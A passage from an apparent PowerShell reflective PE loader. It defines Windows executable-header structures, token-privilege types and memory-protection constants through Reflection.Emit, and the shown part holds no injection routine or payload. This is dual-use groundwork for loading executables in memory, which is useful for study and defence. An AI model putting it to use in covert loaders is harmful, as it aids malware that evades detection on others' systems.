        #Enum MagicType
        $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
        $MagicType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType

        #Enum SubSystemType
        $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
        $SubSystemType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType

        #Enum DllCharacteristicsType
        $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
        $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
        $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
        $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
        $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
        $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
        $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
        $DllCharacteristicsType = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType

        ###########    STRUCT    ###########
        #Struct IMAGE_DATA_DIRECTORY
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
        ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
        $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY

        #Struct IMAGE_FILE_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
        $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
        $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER

        #Struct IMAGE_OPTIONAL_HEADER64
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
        ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
        ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
        ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
        ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
        ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
        ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
        ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
        ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
        ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
        ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
        ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
        ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
        ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
        ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
        ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
        ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
        ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
        ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
        ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
        ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
        ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
        ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
        ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
        ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
        ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
        ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
        ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
        $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64

        #Struct IMAGE_OPTIONAL_HEADER32
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
        ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
        ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
        ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
        ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
        ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
        ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
        ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
        ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
        ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
        ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
        ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
        ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
        ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
        ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
        ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
        ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
        ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
        ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
        ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
        ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
        ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
        ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
        ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
        ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
        ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
        ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
        ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
        ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
        ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
        ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
        ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
        ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
        ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
        ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
        ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
        ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
        ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
        ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
        ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
        ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
        ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
        ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
        ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
        $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32

        #Struct IMAGE_NT_HEADERS64
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
        $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
        $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
        
        #Struct IMAGE_NT_HEADERS32
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
        $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
        $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
        $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32

        #Struct IMAGE_DOS_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
        $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

        $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
        $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
        $e_resField.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

        $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
        $e_res2Field.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
        $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()   
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER

        #Struct IMAGE_SECTION_HEADER
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

        $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
        $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
        $nameField.SetCustomAttribute($AttribBuilder)

        $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
        $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER

        #Struct IMAGE_BASE_RELOCATION
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
        $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
        $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION

        #Struct IMAGE_IMPORT_DESCRIPTOR
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
        $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR

        #Struct IMAGE_EXPORT_DIRECTORY
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
        $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
        $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
        $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
        
        #Struct LUID
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
        $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
        $LUID = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
        
        #Struct LUID_AND_ATTRIBUTES
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
        $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
        $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
        $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
        
        #Struct TOKEN_PRIVILEGES
        $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
        $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
        $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
        $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
        $TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
        $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

        return $Win32Types
    }

    Function Get-Win32Constants
    {
        $Win32Constants = New-Object System.Object
        
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
        $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40
        $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100
